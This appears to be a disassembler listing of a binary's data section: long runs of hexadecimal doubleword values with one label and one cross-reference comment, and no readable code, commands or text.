dd 0B05C0F6Ch, 70670128h, 0F06815B3h, 0CF793C17h, 1906A1CFh
dd 0D16DC731h, 5597FD18h, 3A12F2F5h, 0BA205A68h, 3CED07E4h
dd 345B0116h, 5D0C0BC8h, 0E108CADBh, 58C24F3h, 4351343h
dd 506ABBDh, 0B4B21704h, 0EE00BE93h, 5297B450h, 13E64C88h
dd 27DC0710h, 58D2F458h, 10C2B2C4h, 7E59CA88h, 3508585Ah
dd 6564082h, 7ED81F1Ch, 67920B4Fh, 0DFF26B66h, 68680097h
dd 0BB4D33h, 910D584Ch, 0F7784831h, 0A3E9D009h, 0FAC024D5h
dd 138ABA25h, 6E2D8647h, 50C902D1h, 7CB925EEh, 9909212h
dd 0C1C4397Fh, 0CFE4953Dh, 1B371D5Ch, 6CE28656h, 0F2F8A24Dh
dd 3B12A50Ch, 13E12446h, 0EC30CE91h, 172F1ABEh, 535F7ED4h
dd 7515A0F1h, 9042BD3h, 0E812EE3Eh, 0E868019Ch, 0CA8748A1h
dd 0ECF262Bh, 2C950890h, 6058EE51h, 329F9242h, 68130F1Ch
dd 62BA0BF5h, 39D010CBh, 51D7BA06h, 964331Fh, 73FA2B8Ah
dd 1D2CF256h, 0A84A9210h, 0C8082F8Ah, 0C75FD11Ah, 72FD3118h
dd 6771887Ah, 8F97B622h, 0AF5BCA2Eh, 60A422A7h, 0AA1457F4h
dd 8B36282Ah, 10CAE502h, 5F526F19h, 0D9F75F90h, 90A8A2EEh
dd 602CC2BAh, 53184FF8h, 0B6A16851h, 1BFC25CBh, 9FEDDFFAh
dd 51088F19h, 0A60AA83Ah, 7C24BF1Dh, 5C60F0F6h, 205B44BFh
dd 27B0E7D6h, 0F2F9E0Ah, 2718B42Eh, 137DC2DBh, 54F381Bh
dd 0E45AB49Fh, 80E1422h, 0B6858E2h, 5C21C66Dh, 8F50C8D4h
dd 752F4EDCh, 0D8AEF4B8h, 7468E6A8h, 35A91454h, 4EA74149h
dd 0A402DB84h, 61F22903h, 3E69D580h, 7033B340h, 0E92BE12Ah
dd 34FF9317h, 0B0BAAF6h, 0D1D80491h, 3604E83h, 27DDEB91h
dd 0C013112h, 54D950A5h, 0F430FB29h, 0E30A595Bh, 3D239902h
dd 0F3633175h, 8525C29Bh, 3302E558h, 0CC9991B4h, 0F595202Fh
dd 21760973h, 0E8BCE16h, 0F66F01AAh, 0D9FF4E9Bh, 0AD986F01h
dd 122B6DAh, 3E7D94BAh, 55528520h, 8F053C13h, 0AEE29B77h
dd 0FE44EE97h, 0C087FB3Bh, 5D009934h, 0E737472Dh, 9E62ECE5h
dd 0E6DDB2A8h, 0C10DF9A2h, 0E57E450Bh, 4C4D67ACh, 0B6B14BEDh
dd 1F1CCF2Bh, 0CC654709h, 203130E1h, 7105B9C8h, 8541AB24h
dd 20EF0434h, 0CE3AB8F5h, 0F5E2DA60h, 0FC41364Fh, 9D9E9ACAh
dd 5DE987D6h, 5F201C16h, 0C1810210h, 3D2682D3h, 1DFC5F70h
dd 0D9010A24h, 8A020CECh, 0C162740h, 21ED2FE1h, 4D88CAE4h
dd 0F27C860Bh, 35D8B70Dh, 18E36816h, 0A308C261h, 0B9FE10ADh
dd 5C3B62F2h, 0B0575A11h, 0BC7CE5F8h, 69C66258h, 0BE624F76h
dd 515956AFh, 0C6217ABFh, 2C127784h, 54580C64h, 0D427241Fh
dd 3E888F51h, 823EE5C6h, 76CE19EFh, 521F642h, 0B3384D68h
dd 3BB9173Eh, 0FAE02D94h, 13FA6AE3h, 0B4AE0BABh, 33C76130h
dd 0C10A9304h, 0E3EA07EDh, 1D6601B3h, 0FCE962E4h, 0D016412Dh
dd 0AB40AE5Ah, 343170C3h, 9D39B871h, 0B252DB01h, 53ECE00Dh
dd 8781F58Ah, 20D888F5h, 0E041368Eh, 1664B741h, 5DC17D2Ch
dd 3B3A6D03h, 0B23F6EC9h, 0A1E9E0D5h, 2464B5FBh, 8BFD29Dh
dd 0FA2618A5h, 21054101h, 2D9C178h, 168A0830h, 65DA1Ah
dd 7159CB83h, 0C65C0167h
dd 1B53E13Eh, 0D54CE139h, 6B51F501h, 288927FAh, 0E4F312BEh
dd 0A0D2BEB8h, 0D406F91h, 14E9BD5Dh, 0D136C76h, 5A525854h
dd 9B90070h, 4BC4D915h, 52BDE358h, 85464F48h, 9C8BAAF5h
dd 7033F986h, 7B3C2D0Fh, 4F407D21h, 2949081Eh, 8252B0D8h
dd 4FF85508h, 1740AB4Ah, 7F3694E5h, 0FD870C14h, 0E908D7F7h
dd 4E8AEE2Dh, 3FA29DB8h, 715192B0h, 109E801Fh, 224AC9CBh
dd 0B040A02Dh, 377704F2h, 0A08A34C1h, 57139D49h, 6BB531Fh
dd 5058D44Bh, 23E925BAh, 0BC6D25E2h, 352FEA4h, 20319A8h
dd 45B8CD37h, 6F4214AFh, 0F921FA0Fh, 0FF5ED715h, 0FC68A3C9h
dd 0EA503129h, 598036CCh, 0B652035Bh, 0E5F68014h, 0E9C6E698h
dd 0D1F1582Fh, 40173CB3h, 41D1CD4Bh, 29D199E2h, 9E8591Dh
dd 9B2472Fh, 12878AAh, 0D63844C3h, 3B8FE93Ah, 5D338E0Bh
dd 78B89E39h, 7AF4C1ECh, 0C831F8Eh, 6BE449Bh, 6307F801h
dd 0DFE93534h, 0EC563864h, 0B9BA4B0Eh, 8BDECF46h, 46F5083h
dd 286BD6BEh, 228B8043h, 1A4BDC51h, 814A2E9h, 5200C646h
dd 4B45F239h, 6B53A3E9h, 575D78FFh, 0F7532429h, 0D788C005h
dd 0F9822A82h, 0AFA544CDh, 0D4474609h, 0A47B01C5h, 6BD5F706h
dd 0B6D01884h, 4AA0596Eh, 0A6751E4Ch, 62B98159h, 7C0C3368h
dd 544CE1h, 6728456Bh, 7B9CE681h, 0C8636069h, 97E55A9h
dd 430BFB90h, 0FF9AB76Dh, 8773938Ah, 90A6A68h, 4EB4EF7h
dd 0C8396105h, 0D0AAC46Dh, 33B032F7h, 50058AA3h, 0A187F4CAh
dd 3000208Eh, 0E9476B4Bh, 48B720E5h, 0C7280D29h, 3A40476h
dd 0EC052CF0h, 0FCF7E94Dh, 53AF49AFh, 409D1AD5h, 81EB140Eh
dd 234CD851h, 272D0CC1h, 8D70C256h, 70551D8h, 12143D4h
dd 0BA5215D9h, 30042C51h, 81FAEA6Fh, 116CCA0Fh, 4302F226h
dd 0E0F43DC2h, 686747h, 0D0012816h, 1721BF57h, 504AB127h
dd 1E449D7Ch, 544C470Ch, 16B60C31h, 0AB55AA23h, 2D634503h
dd 3C180533h, 90D3198Bh, 48055A46h, 7ABC1C4Eh, 0E76F8012h
dd 20FE581Ch, 0D580055h, 0E56545Dh, 74285935h, 0C515D576h
dd 4FFF09E9h, 3805BBE9h, 0EF136022h, 2C405A00h, 8BEF2941h
dd 60E91109h, 4238A2F0h, 62CC571Eh, 8C6CD5F5h, 29577F83h
dd 15506243h, 0C80C2A74h, 5816252Dh, 0C1087CFEh, 83FD25F4h
dd 20B428Ah, 6B65CDD5h, 9CCB3776h, 9DBE638h, 89E97C17h
dd 814455AAh, 0ECBD659Ah, 393225EEh, 2BA85820h, 4AB06A61h
dd 0DC707E09h, 733C007Ah, 5F7E3C8h, 8BE9F289h, 0BAB1932Eh
dd 6FA16AD9h, 0F9BCF4C0h, 0E9974493h, 0E3DAD931h, 84762229h
dd 29CE6C17h, 0EC8F5431h, 9C680B99h, 93345F1Fh, 5406ABBDh
dd 23CACFh, 193A2EA8h, 92721E9h, 0E7789001h, 2291FB3h
dd 8127923Eh, 42F12108h, 5F113BBBh, 0C52BA37Ah, 21A3535Eh
dd 0C6250C4Ch, 0ED925DD6h, 6675BF07h, 0D13590B2h, 576396A3h
dd 0AF953485h, 6EC18AF0h, 96CE2CD4h, 2ED028E9h, 512BA05h
dd 46BB480Fh, 4DAF79Bh, 8909EB9Eh, 0A0127D82h, 82A01C51h
dd 0B12D25E6h, 0F6F87012h, 9442D6Eh, 0F45A2A50h, 55293FC2h
dd 8341B3C4h, 77E4017Bh, 70470A7Fh, 4648074Eh, 731D007Ch
dd 67E933B1h, 0AE3ED619h, 0F181E800h, 5F9E4720h, 58E2E373h
dd 9FF6000Eh, 13E9C0A2h, 0C19ABD0Ah, 36050D82h, 36A91B0h
dd 49CC5C95h, 90C17350h, 71A570B9h, 3DC3D03Fh, 0E9E21335h
dd 0BEF50B2Ah, 0E401D9E9h, 292D5E30h, 0CEA0A2EEh, 23D924Fh
dd 51A17180h, 827FC9F3h, 1E05533h, 7FC1895Eh, 2117DFDEh
dd 90ECFC8h, 576FD568h, 7055F0B1h, 4FF0E235h, 0E6BD051Ah
dd 0C253500Bh, 68565DC2h, 0E4667975h, 0AF588101h, 943547Eh
dd 8A44ADB1h, 0F082A39Eh, 0E12D1D6Ah, 772B07ABh, 2C5C4141h
dd 0C5E0C2E0h, 801C79B5h, 0E81667C5h, 44BE5204h, 0F7E4E903h
dd 2EE3BF84h, 0FD5C572Dh, 2CBE5FC5h, 0D7B280BAh, 803CDE97h
dd 0B3C0D47Fh, 28A4D701h, 9FE9551Dh, 5BE0D667h, 0F8E95509h
dd 28727109h, 0A753B5B9h, 50E6E942h, 4082A082h, 3F87037Dh
dd 0E705202Dh, 0B9F35B8h, 0E90DC504h, 6BA3AB12h, 5DFCAF9Dh
dd 78E95CD0h, 0FF014EB2h, 0B0B21535h, 9D82BE93h, 5FF8D8D5h
dd 0B4A9F851h, 0E90BE2B7h, 3F5E43F5h, 577E2662h, 0E4BF0846h
dd 1C6827B3h, 8165FD7Ch, 0DEACCA0Ch, 0F0A49F28h, 164AA8F5h
dd 6F04B753h, 0C10252F4h, 0E3FE08E3h, 0FF89FA1Ch, 5ECD729h
dd 56FDC9Dh, 0A8660569h, 8D939EC0h, 5A68E428h, 816BF9BDh
dd 6FEA4BA0h, 0A5C9D16Eh, 0B8208475h, 3B805F46h, 9F737E35h
dd 0D22E6CF8h, 62CF8F52h, 615A407Fh, 8760EF4Ah, 91F89099h
dd 0D5BFBC17h, 85D8F8DBh, 80BA792Eh, 525A5BC2h, 3D44709Dh
dd 0F79F3807h, 40409ED0h, 0E97A8405h, 9F949736h, 74E26B6Eh
dd 0C41597AFh, 96B7AF47h, 2FAD023Fh, 0CDCAA9E8h, 3EC1390Bh
dd 2973824Ah, 3C37E72h, 32F6E9D1h, 0C3BFB005h, 80BB0D4Fh
dd 0BA5014CCh, 90215B5Ch, 0D85D3C08h, 0CAE90C44h, 0DBB70D3h
dd 6DED1F0Fh, 761A92D5h, 8F6BCA29h, 37E05F0Bh, 5A34438Fh
dd 41DF3DA0h, 0C96647DDh, 0E2F457A9h, 920E9707h, 7E3AC68h
dd 0B3780AF7h, 9F1C8999h, 55270D32h, 0FE954416h, 0D42DAD1h
dd 952579D4h, 0EC3F0BA7h, 7F1774CCh, 7D01286Eh, 71C45E25h
dd 13DD7A70h, 0A9861180h, 0C22BD1CEh, 44C56EE9h, 68060A7Dh
dd 8232224Bh, 19BEE954h, 0C917D6h, 3767D038h, 0FD01345Ch
dd 77081274h, 6B23F82h, 57FD720Fh, 595E55Ch, 7C561AA6h
dd 73D104AAh, 0F5CAFE47h, 0A5129B26h, 29B17948h, 0DB94014Ah
dd 571069ACh, 0C2090B67h, 8373C258h, 9230023Ah, 2FD656A2h
dd 0B85B39E4h, 298D685Eh, 0F9E25014h, 0FD41646Ch, 0DEB18122h
dd 0E67870F4h, 673AD50h, 1457656h, 1E0BD4CBh, 844B8506h
dd 0E9030552h, 645B2A37h, 88F94129h, 5904213Ch, 0A85BF830h
dd 4BA6DFBCh, 2D633C08h, 2D1E7ADEh, 7F5723C5h, 0B06B08A9h
dd 890515DDh, 3229EDE9h, 5A16027Fh, 0E17463C0h, 3E22A550h
dd 0C1E488B4h, 0B7559F00h, 0E9F90116h, 0ACEB4B04h, 0D95F187h
dd 219A416Ah, 6F65DF58h, 0C310A0A6h, 0D3E9C63Bh, 0F5313B3Fh
dd 0AD7CF1AFh, 0E2908164h, 4828A64Eh, 0AD0B301h, 0B668E909h
dd 0C383327Dh, 0C3082D01h, 68F4BB50h, 44233627h, 0F62C30C5h
dd 0A8AEEF5h, 2516C395h, 0BC555690h, 1A5497F6h, 0D171E979h
dd 4DD8BEADh, 8ECF8100h, 534CFA4Bh, 1C5600BBh, 0D9E936D4h
dd 5995011Bh
dword_4F0044 dd 0A8D44B71h, 143D1639h, 48572A28h, 0F09205BFh, 0FE63EC64h
; DATA XREF: ___:004385A4o
dd 24AD666Eh, 1FDBD8F0h, 11DBF026h, 457BF840h, 51287C30h
dd 30379DEBh, 670C4C02h, 562F4772h, 166A1459h, 0E48E48E9h
dd 0EA4AC0C3h, 0CB7605E3h, 6DC249F3h, 2788C6D5h, 0D8E0EAC1h
dd 1D24A9ABh, 832DBBC4h, 0B29605D5h, 8BDD84DAh, 0BC581C8h
dd 5461161Ch, 87AA8D5h, 2EF05E16h, 737C5849h, 0ED27011h
dd 0BE8B151h, 0B7F270CAh, 53BD5596h, 22DD250Dh, 509CE935h
dd 0EEBE02E3h, 56613B5Eh, 68D13748h, 5D0C1B18h, 0FA28857Ah
dd 0D483E18h, 2DCC088Bh, 0B37BA55Fh, 1C8B9BD1h, 0AFFE692Fh
dd 9FB3E41Fh, 6341F1CAh, 4AF34A58h, 43B52BFh, 647E1310h
dd 4FB5A87h, 95C251E0h, 73465FFDh, 1C91FAF2h, 38075F69h
dd 55EB20DEh, 0A05EA8E9h, 54F5231h, 2025ECC2h, 0BF0584E1h
dd 69CF11BBh, 31C420AAh, 1C4CDC20h, 0A1B14ADFh, 2A5FD93Eh
dd 0EED23FF7h, 800C7A98h, 0E794A219h, 457A662h, 10DAAE5Fh
dd 9A75506Bh, 6BA0FF89h, 0A3427EEAh, 1054D48h, 69A52270h
dd 2E82DA01h, 7B941AC7h, 6790C0FAh, 6D8D795Eh, 52F70F3Eh
dd 0ECDABCA5h, 830A9E15h, 5D425320h, 0E932572Dh, 56C5ABF6h
dd 72FEABC8h, 8C66BCEh, 0D8130F5Eh, 88AE9CABh, 0D9D3F75Ah
dd 0CE01E2AFh, 0EBAB808Eh, 861A4C10h, 0BD552876h, 3950B508h
dd 31BF584Ah, 817121FCh, 730FB983h, 0E36E4A95h, 84B24CEEh
dd 95BEFCF8h, 0E306AE06h, 7F3A9039h, 70B96EADh, 6C872D01h
dd 0D8C8604Fh, 0E9070550h, 26D24259h, 0D4E22158h, 25890B8Dh
dd 0FF250B7Eh, 0A2BFC81Ch, 10685128h, 76EE5059h, 72C34B07h
dd 32800D58h, 5BE93F51h, 0B2B316CCh, 22FAA5B7h, 60544480h
dd 0BF10DD52h, 0E340A1E9h, 0B95FFA68h, 9529288h, 0B174239Dh
dd 8069C52Fh, 7163AFBAh, 0E24CD17Dh, 7D904F7h, 94AC35D0h
dd 0B87B0C58h, 4D3A0018h, 85681583h, 8D690DA5h, 2770CCh
dd 4E4C5125h, 11763566h, 45EAF076h, 0CC68753Ch, 14E83B8Ch
dd 2DCB43E2h, 886CC7CFh, 5C17E2DCh, 0DFF8F517h, 3138EF4Bh
dd 0A5688083h, 0B43F3462h, 678F0907h, 0A33A3C84h, 391D013Fh
dd 5FE97641h, 0B62BA231h, 0BE56014Fh, 586F0C1Ah, 0E9FD242Fh
dd 0C3819375h, 0FCC21F67h, 7ED58C57h, 510BC69Bh, 0C2352817h
dd 0FFE24081h, 0D2F2DC2h, 0F18990E0h, 0E984DC9Eh, 7ACA669Eh
dd 4EF70776h, 0C01FD478h, 0A07762EFh, 27DA204Ch, 268652D9h
dd 96803C0h, 43FEFA09h, 92EAF558h, 57140B07h, 427425FEh
dd 82FA5B58h, 0A5208A66h, 16057D02h, 0B3AF142h, 165DB2CCh
dd 119E809Dh, 40860D62h, 2AED701h, 0AFF65A08h, 4FA1AC3h
dd 2254CE35h, 0EE72C017h, 68027ECBh, 1AB8E96Eh, 40F7FE01h
dd 8CF317Ah, 856E5B4Ch, 0E594C7E9h, 308197AFh, 27582D52h
dd 71528698h, 7E9C09E3h, 0C660078Bh, 0F7E85AD4h, 8A74059Fh
dd 4FF88322h, 0D609448Eh, 0F57C4776h, 0ABE2F1C0h, 0D680632Fh
dd 72591977h, 62F82EBFh, 97DE9627h, 0B249AACh, 0A402888Fh
dd 0FFBCCD1Eh, 290D0C93h, 9290F6D3h, 0C701075Bh, 3F8B4D3Dh
dd 6A7E8230h, 390A20Ch, 7F2D5EC0h, 0B2E84EC2h, 0E13FC141h
dd 9D09F403h, 5EA9ED88h, 7F680994h, 61C27A10h, 0F57238B4h
dd 0EE0BB6CCh, 0C069477Dh, 0D21E1D8Fh, 5882B864h, 912A1994h
dd 36F8BE36h, 0C03958E7h, 68072048h, 0B5E85AA3h, 0B0C4945Dh
dd 0E22C803Dh, 0A53BE867h, 0D94B2076h, 9D6FC218h, 80436CAh
dd 7543AA59h, 940445FDh, 2668E6C8h, 0E9A62641h, 69166382h
dd 7F0C5709h, 300CF63Ah, 0E462E72h, 71C413C3h, 29FE498Bh
dd 144A4223h, 0E997E495h, 49B58D7Fh, 3AFCA014h, 48629745h
dd 0B679484h, 33BD5866h, 282CE2EAh, 0A42DBBECh, 0E8F8E5D1h
dd 0B566E82Ch, 4DA061D0h, 15A2619h, 9868FCD0h, 0BE68A82Bh
dd 5440799Fh, 1EBAA91Dh, 30490F5Ch, 3F4CBCC6h, 0B5E9113Eh
dd 88BF8F96h, 0D541EC7Bh, 52C34D42h, 440CD77Bh, 0FACB0187h
dd 0B83B58E5h, 0A8BD5E15h, 16838850h, 4273E54h, 18D7288Fh
dd 82D913FEh, 0BDA75AD5h, 4430D051h, 15C605D0h, 0A71E7D67h
dd 3EB66A59h, 1682B909h, 42E80220h, 5E46917h, 6F84857Ch
dd 0D6BE01F3h, 802F2622h, 576B06B9h, 0D2F02924h, 559C0822h
dd 8BB0E017h, 4BEDB551h, 0E9F12982h, 80F8C817h, 59E23AC3h
dd 6835EB3Ch, 33970625h, 5A252224h, 5380DD21h, 22BB73AFh
dd 0E8E6816h, 52E81960h, 0B0364AA6h, 600DFA5h, 0E5D14171h
dd 0C4E7CAE9h, 0F3F030E3h, 0C30C78E6h, 0ECE14CE9h, 56330FB8h
dd 5E4B60C5h, 0DB77D7E2h, 5963E4Ah, 31062842h, 188281A2h
dd 0A5815BEBh, 4825B568h, 37128851h, 4F84BE7h, 5880C04Ah
dd 0BFF8DD44h, 96BE2A02h, 75DF29AAh, 7772B042h, 89972898h
dd 0BA96556Fh, 78897196h, 329CD7E4h, 354E6871h, 0A3BA3524h
dd 0CAE5A18h, 179058EDh, 1AD90316h, 0EBCC4FBAh, 51480FEh
dd 16B9514Bh, 0ABE8452Eh, 70E9C901h, 0E1D833BEh, 7469380Ah
dd 85A420FAh, 8AB6814h, 1E02D380h, 40454A73h, 82AA4068h
dd 0B7121076h, 0A56113A1h, 0C7D1F26Eh, 7CC0C32Dh, 50F80168h
dd 5EE90705h, 0A97D124Ah, 8C489F48h, 7AE90613h, 78B7EB45h
dd 2D6F0965h, 0E757446Dh, 2DE12CBBh, 0F9BE7CD9h, 33D72E2Ah
dd 613ADC97h, 742BE950h, 68125E93h, 1C603D93h, 985522B0h
dd 0B8BE0A05h, 19F9D4Ah, 2D04C9CEh, 0E0C845Fh, 8EC2FB07h
dd 82415CD6h, 9841AF9Eh, 2C8B440h, 89BD14F2h, 796257B3h
dd 74E90B02h, 685831C8h, 0E604642Dh, 9D31E0B1h, 0F71CEF48h
dd 291D2E08h, 88D325CAh, 549FE905h, 4BA1E1FCh, 0E31781FCh
dd 457E6649h, 0D321972Eh, 0BC2FD7D9h, 0D56529DFh, 2203716h
dd 0CAE295B3h, 919FB84Ch, 8C63F346h, 7F0B1E92h, 731C1001h
dd 0DA4B6849h, 478FB198h, 802CBAB8h, 16BBEA53h, 8D9823A7h
dd 0ADCD4E29h, 0D2AB9221h, 0F770C4D6h, 93E5941h, 19F166D9h
dd 0B7DAA46Fh, 70145C92h, 5E19E464h, 0F8EF5301h, 2D3509D7h
dd 0E6CC7267h, 509DFA7Ah, 1280DB8Fh, 0BE143F24h, 8EB2D0Ah
dd 9E65A18h, 68263217h, 4177981Ah, 496E29DCh, 0A5837E75h
dd 0D2EAE925h, 9F709B89h, 0DC736A29h, 0B7D97E66h, 0A2C1186Ch
dd 1ABF2D63h, 8A7A882Ah, 76C25D3Eh, 0D410CA24h, 26A47712h
dd 0E2350338h, 0D6895641h, 5FDFC294h, 13B6870h, 51D3AED5h
dd 0C4F7218Fh, 61E2F062h, 9C545616h, 7E95EE67h, 0EC0A70A6h
dd 7EEECBC0h, 0F70F2D30h, 0FB059FCDh, 79154801h, 0DF7549A3h
dd 8332B77Fh, 2FF3A2E9h, 0FA6DC61Dh, 0C8337D27h, 0BD65905Fh
dd 2270EE04h, 0B1AEE904h, 66A7E825h, 853949Dh, 9B47E959h
dd 27AA5B17h, 0B8DCB4AFh, 35BD0497h, 41877E53h, 5C0961C4h
dd 0B74A9E1Ch, 575EB809h, 0F99DAA1Eh, 18E94164h, 71306EBCh
dd 4A6E54EDh, 0B75BD029h, 3D08F946h, 2C0A67E9h, 0B5F23B38h
dd 3564D08Bh, 0B4060ACAh, 71309F02h, 5A5E4143h, 9FE57FCEh
dd 0B00970AFh, 1B4CC96Eh, 5E4B9C94h, 817D0EF6h, 0D702EF84h
dd 0DA1D78CBh, 8FBC616Bh, 52DB5802h, 5611F627h, 8FE961C4h
dd 0FE7712FEh, 0FE53BD9Ch, 473A4C4Bh, 0FADB5BDBh, 0AA1B16F4h
dd 23A2104Ch, 1CAA5A13h, 2068C58Fh, 17F8B201h, 2AF9D0ECh
dd 0E627F8DEh, 538831D9h, 0A14849BBh, 732F036Bh, 42DBDC61h
dd 9D9ADDECh, 8C20F9C4h, 0D20090D7h, 7D75E36Dh, 30B67776h
dd 0BC1A013Dh, 293AE90Eh
dd 0A6BE84C3h, 8EE986B6h, 0C1293B51h, 56A1CBFFh, 4B166457h
dd 39BBA850h, 5C3CDEC1h, 9768125Ah, 0AF39BF42h, 0BDBA8580h
dd 0BF4B3323h, 0E90BB962h, 27787Dh, 5E82959h, 7F0C0155h
dd 0CC40AFB0h, 60749F88h, 5E4830B3h, 34B2A073h, 69A4434Fh
dd 4801E31Fh, 1AA53093h, 0E83E2009h, 5BEB5001h, 0AFCBC405h
dd 85ED7928h, 11450226h, 702725C2h, 95191886h, 132D0C6Bh
dd 506CD525h, 9F71B73Ah, 2630B88h, 887CEA80h, 15A102F5h
dd 0BB40FC2Eh, 0B2EFB596h, 0C14B8B1Eh, 0A67B59A5h, 5CF24C7h
dd 0D3EEE445h, 0F293D65Bh, 0A1DC0840h, 69EE73C0h, 0ECC1B450h
dd 13DB79F4h, 0EEF64CE4h, 0AFB8940Eh, 0C5ECAFDCh, 6492E628h
dd 797B57D7h, 18E8C184h, 787A04AFh, 0E6503261h, 7AF82699h
dd 0DEDB6BF9h, 58D57E0Dh, 16B11F60h, 62F502h, 99337484h
dd 3BF3E9F0h, 9AAAC0C5h, 6FEC16B9h, 0A2B6EE21h, 0A7127076h
dd 0D2ACE8F8h, 62133B0Bh, 0A1C05F14h, 0EB7630DDh, 211E595Ch
dd 64B78114h, 0D854F653h, 3D25E901h, 881B59D4h, 8003A4F8h
dd 9BC060E1h, 60C9B203h, 0BC7EF6EFh, 927FEFC3h, 0AC4B5260h
dd 5FB5803h, 3AAD5897h, 6C0351ADh, 1C552A7h, 3294FE6Ch
dd 76390AB9h, 10E46ED6h, 0B865A29h, 8F19F38h, 0C37DB05h
dd 0C1F32A82h, 982E7C44h, 59F29AFh, 98BB4C5Dh, 59648F15h
dd 5188EA11h, 45855A58h, 0A5096DE1h, 225EFC6Bh, 37C95250h
dd 10DB6812h, 1E010C0Ch, 58A40285h, 0A759E934h, 625571CAh
dd 0EBE07F30h, 7A132DC3h, 0EEA966DCh, 193F3048h, 736C8CBh
dd 25971809h, 0E9F0E04Fh, 0B0CB4CFCh, 3821AF96h, 0B26B5490h
dd 0E32D056Bh, 92106F5Ah, 0D306088h, 0F53F2BC9h, 9950997Ch
dd 80F13EEh, 3575E03Ch, 5B330AF6h, 0C005220Bh, 0BF4348DDh
dd 0F920E4C2h, 471932BAh, 9D34E8F1h, 1AB6D7D2h, 11CF609h
dd 88F6A7CCh, 7B958C4Ah, 0FB0166D4h, 639F6A52h, 0D664C561h
dd 0FD5CB531h, 5FA50053h, 700CC92Dh, 0D8682923h, 0F02C0842h
dd 0A5580E10h, 6E5DF4Ah, 0AE51E957h, 0A8424F14h, 44ADB1E5h
dd 0D542A26Fh, 99F2D9Fh, 4B095CFh, 0D7C348E9h, 3DCF6253h
dd 0C6C1D104h, 0F04DD2Ch, 18A294C6h, 5D7A893Ch, 0C935C597h
dd 4B816DDh, 7B151197h, 0C016B221h, 5556DBF7h, 0E8401BDh
dd 0D0E96D15h, 9EE33FDAh, 0A5132C94h, 0F797FCC3h, 0A97AF2h
dd 0DB42A7BAh, 20AB1348h, 0B527B93h, 0B9F42DBFh, 49C198D5h
dd 186796F2h, 6C5A24EBh, 1D14F0BFh, 5259DCCAh, 0B0FA0B75h
dd 7AEE6C90h, 70B9282Dh, 0E0C94155h, 0C77D80F7h, 13536648h
dd 0F0F40FAEh, 9B1A7B11h, 80CA28B2h, 5A89520Ch, 0F00C84FAh
dd 63126A44h, 38D41612h, 0D5E90813h, 73BEA80h, 7B983962h
dd 83D4EB41h, 1CED6CCh, 3DD1B103h, 0BC842AE7h, 0C31B92FEh
dd 5012DF56h, 562D8FEh, 0CF10B60Bh, 0A0020935h, 771EB810h
dd 427B29h, 48CE4DE5h, 18C50905h, 74BCF55Ah, 0DCDD10h
dd 0F172A2Dh, 1249353Ah, 0AA24F357h, 4347251Fh, 0A2501B52h
dd 0B77408B1h, 3161D1AEh, 0E57CBB76h, 6E761CDh, 7F140C08h
dd 38C0F564h, 4546C17Eh, 5DEF0078h, 3E11B85Eh, 68B45241h
dd 71BF5700h, 121EA118h, 0B8D79AE9h, 241DD612h, 0F7906067h
dd 0F068B5D9h, 4827A1DFh, 3C9E7EEFh, 3A41F283h, 0E2F87008h
dd 14373D3Ch, 1DA71853h, 0B5AB0265h, 0EFE81409h, 0A36B8D2Dh
dd 0E0D38055h, 9B6A7E68h, 0E4230BF5h, 6382A812h, 0D14105B9h
dd 666801C5h, 2FCC5FC6h, 3015DC80h, 0E9537309h, 0BBB760AFh
dd 5B65391Ah, 2D87C04Eh, 2B027938h, 69E9553Ch, 5A2E7E8h
dd 0F802ED83h, 6FD885AFh, 5518948Bh, 0D5C3A53Eh, 2E33221Eh
dd 0EAC409D6h, 9456F0EEh, 0A5596038h, 4BED965Bh, 778C1493h
dd 0EB53F45Fh, 772F4C12h, 57E459ECh, 8B82E80Fh, 8236765Ah
dd 6F03116h, 8B6421E1h, 0DFD80934h, 0E927B994h, 4278054Ah
dd 0C793981Ch, 52D39BAh, 0D869098Eh, 5E44595Ch, 0D8D818BCh
dd 78301BABh, 3FE80C06h, 0B5754BF4h, 0C0806D8h, 0E95F1480h
dd 40C03175h, 9D6873B2h, 836BB905h, 0C2DBE950h, 0B3F8C34Eh
dd 565AF602h, 0FBDE4107h, 9E166ABBh, 3A04D016h, 0F3A85EF0h
dd 58743B1h, 475F1200h, 5816052h, 0CB352DF5h, 1786ED07h
dd 31EA8DD8h, 6ECF3A81h, 0F052CA63h, 620D3168h, 5AF5AE4h
dd 0E05C387Fh, 2AD29FE3h, 0E0B9A90h, 7648350h, 60120888h
dd 0CF7BC076h, 0E2464C1Fh, 0A162D718h, 0BA1D6857h, 92683F6Fh
dd 66503727h, 552E2002h, 7585CE90h, 18395D08h, 152DEC59h
dd 287BA72Eh, 96F45A97h, 0EEF34B07h, 0DCF66B22h, 0DED4272Ch
dd 0C3B3979h, 6DC45D03h, 5827197Ch, 51997509h, 6B8E3050h
dd 7321E726h, 305BDE83h, 0B8D0BB46h, 4E208710h, 15AF14EDh
dd 762EA00Fh, 490EBA13h, 5BBDFA40h, 7FC10030h, 16D9402h
dd 8817392h, 9AAC3E5Bh, 52D156DEh, 48C6A86Dh, 5E9F4385h
dd 401290CBh, 8B75E85Ah, 556C02F7h, 0E27F7E44h, 0BD03C960h
dd 7D9FD093h, 7CCD0581h, 0EA09AD2Fh, 34390500h, 0E3CAE962h
dd 0D5F62C80h, 5966E888h, 68C18606h, 2E79128Ah, 7187785Bh
dd 5D680083h, 9E65972Eh, 3D411528h, 4C2CB20h, 576B2DA2h
dd 6ECF942h, 654C3488h, 6F39000Ch, 0D701C280h, 4E4BFEE9h
dd 0ECE87025h, 4BEB311Fh, 0FD7E0A4Dh, 1841392h, 4BB0CFAFh
dd 1CA79AACh, 0CB0581CBh, 1B9C727Dh, 6B14D280h, 0C67602Bh
dd 33D07782h, 0C20E4361h, 5CEAD95Ah, 9C010B68h, 0C5266847h
dd 0DE01FBC8h, 292E7B6Dh, 82840DBh, 9151535Dh, 2AFFCA27h
dd 368A9AABh, 6861A6B6h, 99730B57h, 4E006548h, 0E910C26Eh
dd 0BBBF5848h, 0C6F88219h, 1E5C3098h, 0CAFCF193h, 31711206h
dd 709659CEh, 0C27C9FB3h, 6067E978h, 3CF723F5h, 575F4850h
dd 0C45A59BCh, 0F54594ECh, 0E380FF70h, 5C4B2971h, 0C4040E3h
dd 0A08D2FE9h, 17670E2Ah, 1C1EA717h, 0B5A8B604h, 3FC5B14Ah
dd 0A54E69FEh, 8B4545E7h, 277771E9h, 0FE21C774h, 0F9EC585Fh
dd 0D628BFB4h, 6302088Fh, 0E217AB20h, 9E042B51h, 0E0175F64h
dd 91B2D259h, 9798B93Ch, 58B8767Eh, 1516CD93h, 6F9FAABFh
